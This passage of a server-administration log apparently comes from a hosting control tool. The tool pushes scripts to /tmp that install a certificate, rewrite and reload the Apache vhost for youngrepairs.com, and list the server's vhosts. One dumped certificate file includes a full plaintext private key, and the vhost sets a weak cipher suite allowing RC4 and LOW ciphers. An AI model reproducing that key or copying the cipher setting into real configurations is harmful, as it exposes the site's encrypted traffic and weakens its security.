ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-29 19:52:01: 

chmod 755 /tmp/pkp612916; /tmp/pkp612916; rm /tmp/pkp612916

2026-04-29 19:52:01: 


dir=/etc/ssl/certs


2026-04-29 19:52:01: 

PUT: /tmp/pkp536381

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 19:52:01: 

chmod 755 /tmp/pkp536381; /tmp/pkp536381; rm /tmp/pkp536381

2026-04-29 19:52:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-29 19:52:01: 

PUT: /tmp/pkp660415

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-04-29 19:52:01: 

chmod 755 /tmp/pkp660415; /tmp/pkp660415; rm /tmp/pkp660415

2026-04-29 19:52:01: 




2026-04-29 19:52:01: 

PUT: /tmp/pkp606053

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-29 19:52:01: 

chmod 755 /tmp/pkp606053; /tmp/pkp606053; rm /tmp/pkp606053

2026-04-29 19:52:01: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 19:52:01: Establishing a connection
2026-04-29 19:52:02: 

PUT: /tmp/pkp807810

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-29 19:52:02: 

chmod 755 /tmp/pkp807810; /tmp/pkp807810; rm /tmp/pkp807810

2026-04-29 19:52:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:27)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 19:52:02: 

PUT: /tmp/pkp436128

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:52:02: 

chmod 755 /tmp/pkp436128; /tmp/pkp436128; rm /tmp/pkp436128

2026-04-29 19:52:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf	1665

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-04-29 19:52:02: 

PUT: /tmp/pkp885402

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:52:02: 

chmod 755 /tmp/pkp885402; /tmp/pkp885402; rm /tmp/pkp885402

2026-04-29 19:52:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt	5349
53:91:60:c5:da:ec:8e:9b:28:e0:6a:aa:fc:dc:a0:01

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBSumZ2fJPMVD6v3pNyr+nMu0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTg1MzMwWhcNMjYwNzI4MTg1MzI5WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEApP7Oy1LWkDLhmgK9vw/IDbVWEDZgRmVP4Httf/JkPEefhOi6K+QFIId8IMxK
tCfLwalvC3RrNlftZMhbYfc+dYbl4GDSALm/8wR4CKGr3XNEir64ZSDpeI/UpHlV
/VX64rzAUBdLkuV/dvm4I2I40G+Cmh060uQZnijyTRCRYvGUADGxlf+U7I2dct8i
UjOIGenOVaOCL664ilfioPmJMjthZHFKx7NhjDNQppQciocB9CjIvhI/Ox/2guvz
Nag2Sncx0GOcpAuWM/TQ79i7R0Dpn2VAcGQDDLZuThrkJPfldRdkhHrIMRASK2He
3/VrOTt+Wbj9DOwloMLw39H/PQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFO3v
FNBq4uJI5P3NxnS6X7MgINz0MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQeW91bmdyZXBhaXJzLmNvbTATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzUzLmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AMIxfldFGaNF7n84
3rKQQevHwiFaIr9/1bWtdprZDlLNAAABndrMYWkAAAQDAEgwRgIhAIOaWXN4IES0
6MCJDdZarJAdqdUeP/A3LsW7AQjuvESDAiEAlDO/7Yjm4dILSl5jilyo8c7ANCb0
wSjA7y6e7C0VZAgAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAA
AZ3azGG8AAgAAAUADT03vQQDAEgwRgIhALWL3YUz882g0Ljk67+hQL0Qf/Dv3ajb
PHCOpJXzZdRoAiEAn2al3xHX3jP/kHSGlieFWs3kKuqsaMvkTPm4gjejT2MwDQYJ
KoZIhvcNAQELBQADggEBAIKUME2eGmYXuBw2ZhIhjraIY7IzD32H2PmhyY5AdxHb
FCj56vX1oIKVXRKpc56dn+Vpg47VMn0t1/8LTZNEsfRynrfAXvJo7C5R8a51vmsO
eVId9ctenIf8Xv8mdLlBS3igGTANS91Cqama0K1kB0M3J7zIiZAHBXOxfnHhIzlb
NnpgUNNYkWjMod2vQd/fZNe54scw1BP73oPbQ44xTZRC+/i5qTqseo0wZmBEHcyf
StvDIfZE49nFQsluUtrmpY/YdGrkb8t43Zp91Vnvae5qTKiHAcXUg67XN3Vq/8Zt
mjoLY+tTyAXUjyHFeFDIUu9us7iZ/yhs6csSm1rDM0Y=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCk/s7LUtaQMuGa
Ar2/D8gNtVYQNmBGZU/ge21/8mQ8R5+E6Lor5AUgh3wgzEq0J8vBqW8LdGs2V+1k
yFth9z51huXgYNIAub/zBHgIoavdc0SKvrhlIOl4j9SkeVX9VfrivMBQF0uS5X92
+bgjYjjQb4KaHTrS5BmeKPJNEJFi8ZQAMbGV/5TsjZ1y3yJSM4gZ6c5Vo4IvrriK
V+Kg+YkyO2FkcUrHs2GMM1CmlByKhwH0KMi+Ej87H/aC6/M1qDZKdzHQY5ykC5Yz
9NDv2LtHQOmfZUBwZAMMtm5OGuQk9+V1F2SEesgxEBIrYd7f9Ws5O35ZuP0M7CWg
wvDf0f89AgMBAAECggEAAKDCtdzMN6lqcplQAV3a+giDawrYVsKmr61FYoUdBUjH
kXsqNbKfLF+wK0oN5UQ9G8qNZXoyp7sgrJwoEwPx/IuGl7iHrsCw5ir8Fhp1BV23
LaKKhspocZuGiKEN/pACgxLgPF7eD3fEnCCMDaJsPBFBHaGDDJHVFFQOkVy4WO/i
rU0ScWp8k/sY/coNOg8DtnLFevTI+NaJDQqnWXgiUye5ELnKRgAfDQ8QFmVNPbN9
8CEUzfBHrPpbNg7ocZTgxSTj2w+Ym6dAr7rWqxRLU9iidClbduKx3qrtn9IrIrsS
psOylaNj8kfTD9ZE9Db7tYOPgDlqribWMdDhmnEnMQKBgQDahI4TX3PkaSJxZDKx
A0nId73rU5LjDfj8eOqJ2yeB+Sa5H/yoORBOqVJoQLvX4i1dCHkgcpVVSg692fjL
qH888MvLkCmz1LxKup4OMTvBlgUesuPDGl1ma2gfaxhchPkCIkTTU3ffsm4/9CkK
edhYGs4GMIlwU9p7FEwKzTDqZQKBgQDBTABjCmIYYHIlOoWhiPX1AaLXwjHPuL5M
dixjslZLJIFS/4g9GOw7ck9/jMDu0dBrHeNQw1g5oLURgf+JcIDXzQkI585qn6A7
LF98hou54bcN8mm4ehd9TBawgiHPDt1G6EYUzFH8OtsmNXH4nDswpVFvfKRozLkL
9iHmL4xH+QKBgHr7J0rX6c2fLfdLQQxGoXvliEmtG3oWHw9YrgcwBCguJREDY5r5
oqfiu7JY3F8/t/AoGKOeWVVK/Mj0qAVWq2WMz+WdGRtQmzgjl1i9dLgayn7ghzcC
25YM1Oj5yRgo7ku5JasZytlm/o2XyJFQyeWsEE+DeZZyWv/yCGn72Y/RAoGAdHqb
8RKcshvMLOrrA8BIlm959ZIr+gRViDXd4eXhYj6JP76EFm0iTWBAz5e92yvL8AB+
rnhIfdF9yyMPHX8R5PjE7PziwhWWtJG0qJFbOZPufxUI6AWKihKDybFhNii65rOp
J3dIIDpHPOsP1sQuVs4IGKp/WDelerPDEbatTeECgYANY9Yb8m5e+KfmfjJNccCR
wTPHicKW+ZI6hGxssFP9JUEfajwzSKJhQTmEf+xSLVID2KZ6kuDC1cygEnTYhoEJ
LcM0Dx2Z+cdLJ/u5PXagkDGntw/7xdY2jjItCfVSruDJ4BJ7uj+Cr3PNgE86yexW
t8sPXHj0IpBcZvJQiFcSJA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-30 06:00:01: Establishing a remote connection
2026-04-30 14:44:11: Establishing a connection
2026-04-30 14:44:24: Establishing a connection
2026-04-30 14:44:24: 

PUT: /tmp/pkp129191

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

